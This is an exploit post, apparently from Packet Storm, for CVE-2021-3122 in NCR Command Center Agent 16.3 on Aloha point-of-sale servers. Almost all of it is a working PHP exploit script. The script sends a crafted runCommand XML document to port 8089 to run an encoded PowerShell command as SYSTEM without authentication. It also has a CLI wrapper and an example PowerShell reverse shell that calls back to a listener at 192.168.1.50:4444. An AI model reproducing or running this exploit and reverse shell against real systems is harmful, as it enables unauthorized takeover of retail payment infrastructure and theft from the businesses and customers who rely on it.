=============================================================================================================================================
| # Title     : NCR Command Center Agent 16.3 RCE Exploit                                                                                   |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.ncr.com/                                                                                                        |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211034/ &	CVE-2021-3122

[+] Summary    : This PHP implementation provides a tool for testing the CVE-2021-3122 vulnerability in NCR Command Center Agent version 16.3 on Aloha POS/BOH servers. 
                 The vulnerability allows remote, unauthenticated attackers to execute arbitrary commands with SYSTEM privileges by sending a specially crafted XML document to port 8089.
				 
[+] POC : php poc.php

<?php

class NCRCommandCenterExploit {
    private $rhost;
    private $rport;
    private $verbose;
    private $timeout = 30;
    
    public function __construct($rhost, $rport = 8089, $verbose = false) {
        $this->rhost = $rhost;
        $this->rport = $rport;
        $this->verbose = $verbose;
    }
    
    /**
     * التحقق من وجود الخدمة
     */
    public function check() {
        try {
            $socket = $this->connect();
            
            // محاولة قراءة البنر
            $banner = $this->readSocket($socket, 1024);
            $this->disconnect($socket);
            
            if (strpos($banner, '<cmcsys:myNodeNumber') !== false) {
                return "Detected";
            }
            
            return "Safe";
            
        } catch (Exception $e) {
            return "Safe: " . $e->getMessage();
        }
    }
    
    /**
     * إنشاء حمولة XML
     */
    private function generateXml($cmdPayload) {
        $workitem_id = rand(1, 9);
        $source_node = rand(1, 9);
        
        $exec_statuses = ['Unknown', 'Waiting', 'InProgress'];
        $exec_status = $exec_statuses[array_rand($exec_statuses)];
        
        $dest_servers = ['WebServer', 'RdfServer'];
        $dest_server = $dest_servers[array_rand($dest_servers)];
        
        $guid = $this->generateGuid();
        
        $xml_body = '<workitemroot commandname="runCommand">';
        $xml_body .= '<WorkItem>';
        $xml_body .= '<WorkItemId>' . $workitem_id . '</WorkItemId>';
        $xml_body .= '<CommandName>runCommand</CommandName>';
        $xml_body .= '<SourceNode>' . $source_node . '</SourceNode>';
        $xml_body .= '<TargetNode>0</TargetNode>';
        $xml_body .= '<Status>' . $exec_status . '</Status>';
        $xml_body .= '</WorkItem>';
        $xml_body .= '<command>';
        $xml_body .= '<Arguments>' . $cmdPayload . '</Arguments>';
        $xml_body .= '<Guid>' . $guid . '</Guid>';
        $xml_body .= '<Result></Result>';
        $xml_body .= '<destserver>' . $dest_server . '</destserver>';
        $xml_body .= '</command>';
        $xml_body .= '</workitemroot>';
        $xml_body .= '<:EOM:>';
        
        return $xml_body;
    }
    
    /**
     * توليد GUID عشوائي
     */
    private function generateGuid() {
        if (function_exists('com_create_guid') === true) {
            return trim(com_create_guid(), '{}');
        }
        
        $data = random_bytes(16);
        $data[6] = chr(ord($data[6]) & 0x0f | 0x40); // version 4
        $data[8] = chr(ord($data[8]) & 0x3f | 0x80); // variant
        
        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
    }
    
    /**
     * إنشاء حمولة PowerShell
     */
    private function createPowerShellPayload($encodedPayload) {
        // حمولة PowerShell الأساسية
        $payload = "powershell -exec bypass -enc " . $encodedPayload;
        return $payload;
    }
    
    /**
     * تشغيل الاستغلال
     */
    public function exploit($payload) {
        try {
            $socket = $this->connect();
            
            if ($this->verbose) {
                echo "[+] Connected to {$this->rhost}:{$this->rport}\n";
            }
            
            // ترميز الحمولة (يمكن استخدام base64 هنا)
            $encodedPayload = base64_encode($payload);
            $cmdPayload = $this->createPowerShellPayload($encodedPayload);
            
            // إنشاء XML
            $payloadXml = $this->generateXml($cmdPayload);
            
            if ($this->verbose) {
                echo "[*] Generated payload XML\n";
            }
            
            // إرسال الحمولة
            $this->writeSocket($socket, $payloadXml);
            
            if ($this->verbose) {
                echo "[*] Payload sent\n";
                echo "[*] Check your listener\n";
            }
            
            // قراءة الاستجابة (اختياري)
            $response = $this->readSocket($socket, 4096);
            
            $this->disconnect($socket);
            
            return [
                'success' => true,
                'response' => $response
            ];
            
        } catch (Exception $e) {
            return [
                'success' => false,
                'error' => $e->getMessage()
            ];
        }
    }
    
    /**
     * الاتصال بالهدف
     */
    private function connect() {
        $socket = @fsockopen($this->rhost, $this->rport, $errno, $errstr, $this->timeout);
        
        if (!$socket) {
            throw new Exception("Failed to connect: {$errstr} ({$errno})");
        }
        
        // تعيين مهلة للقراءة/الكتابة
        stream_set_timeout($socket, $this->timeout);
        
        return $socket;
    }
    
    /**
     * كتابة البيانات إلى السوكيت
     */
    private function writeSocket($socket, $data) {
        $written = fwrite($socket, $data);
        
        if ($written === false) {
            throw new Exception("Failed to write to socket");
        }
        
        return $written;
    }
    
    /**
     * قراءة البيانات من السوكيت
     */
    private function readSocket($socket, $length) {
        $data = fread($socket, $length);
        
        if ($data === false) {
            throw new Exception("Failed to read from socket");
        }
        
        return $data;
    }
    
    /**
     * قطع الاتصال
     */
    private function disconnect($socket) {
        if (is_resource($socket)) {
            fclose($socket);
        }
    }
    
    /**
     * مثال على استخدام الكود
     */
    public static function exampleUsage() {
        $target = "192.168.1.100";
        $port = 8089;
        
        $exploit = new self($target, $port, true);
        
        echo "[*] Checking target...\n";
        $checkResult = $exploit->check();
        echo "[*] Check result: {$checkResult}\n";
        
        if ($checkResult === "Detected") {
            // حمولة PowerShell عكسية مثال
            // يمكنك تغييرها حسب احتياجاتك
            $reverseShellPayload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.50",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()';
            
            echo "[*] Executing exploit...\n";
            $result = $exploit->exploit($reverseShellPayload);
            
            if ($result['success']) {
                echo "[+] Exploit executed successfully\n";
                if (!empty($result['response'])) {
                    echo "[+] Response: " . htmlspecialchars($result['response']) . "\n";
                }
            } else {
                echo "[-] Exploit failed: " . $result['error'] . "\n";
            }
        } else {
            echo "[-] Target not vulnerable or service not detected\n";
        }
    }
}

// استخدام الكود من سطر الأوامر
if (php_sapi_name() === 'cli') {
    $options = getopt("h:p:v::", ["help", "check", "exploit:"]);
    
    if (isset($options['h']) || isset($options['help'])) {
        echo "NCR Command Center Agent RCE Exploit (CVE-2021-3122)\n";
        echo "Usage:\n";
        echo "  -h <host>           Target host\n";
        echo "  -p <port>           Target port (default: 8089)\n";
        echo "  -v                  Verbose mode\n";
        echo "  --check             Check if target is vulnerable\n";
        echo "  --exploit <payload> Execute exploit with payload\n";
        echo "\nExample:\n";
        echo "  php " . basename(__FILE__) . " -h 192.168.1.100 --check\n";
        echo "  php " . basename(__FILE__) . " -h 192.168.1.100 -v --exploit 'whoami'\n";
        exit(0);
    }
    
    if (isset($options['h'])) {
        $host = $options['h'];
        $port = isset($options['p']) ? $options['p'] : 8089;
        $verbose = isset($options['v']);
        
        $exploit = new NCRCommandCenterExploit($host, $port, $verbose);
        
        if (isset($options['check'])) {
            $result = $exploit->check();
            echo "Target: " . $host . ":" . $port . "\n";
            echo "Status: " . $result . "\n";
        }
        
        if (isset($options['exploit'])) {
            $payload = $options['exploit'];
            $result = $exploit->exploit($payload);
            
            if ($result['success']) {
                echo "Exploit executed successfully!\n";
            } else {
                echo "Exploit failed: " . $result['error'] . "\n";
            }
        }
    } else {
        echo "Error: Target host is required. Use -h for help.\n";
    }
}

// لاختبار الكود مباشرة (إلغاء التعليق للاختبار)
// NCRCommandCenterExploit::exampleUsage();

?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================